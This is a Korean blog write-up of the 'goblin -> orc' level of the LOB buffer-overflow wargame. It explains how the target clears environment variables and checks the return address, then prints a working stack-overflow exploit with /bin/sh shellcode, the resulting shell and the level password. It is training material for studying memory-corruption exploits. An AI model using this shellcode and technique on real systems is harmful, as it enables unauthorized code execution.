본문 바로가기

Wargame/LOB(끝)

goblin -> orc

환경변수를 이용할 수 없게 

extern char **environ


을 이용해


for(i=0;environ[i];i++)

memset(environ[i],0,strlen(environ[i]));


으로 환경변수를 초기화 시켜버린다.

그 후 argv[1][47] (RET의 끝부분) 이 "\xbf" 가 아니면 종료시켜버린다.

아마 스택을 이용하라는 뜻같다.


스택에 쉘코드를 넣고, 스택 내부로 RET를 돌릴 것이다.

우리가 이용할 수 있는 크기는 44 므로,

NOP(12) + SHELLCODE(25) + NOP(7) = 44 로 짰다.



[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*12 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*7 + "\x2c\xfc\xff\xbf"'`

������������1�Ph//shh/bin��PS��1Ұ

                                 �������,���

bash$ id

uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ my-pass

euid = 504

cantata

'Wargame > LOB(끝)' 카테고리의 다른 글

wolfman -> darkelf  (0) 2015.01.29
orc -> wolfman  (0) 2015.01.28
cobolt -> goblin  (0) 2015.01.28
gremlin -> cobolt  (0) 2015.01.23
Stack Frame Pointer Overflow  (1) 2015.01.22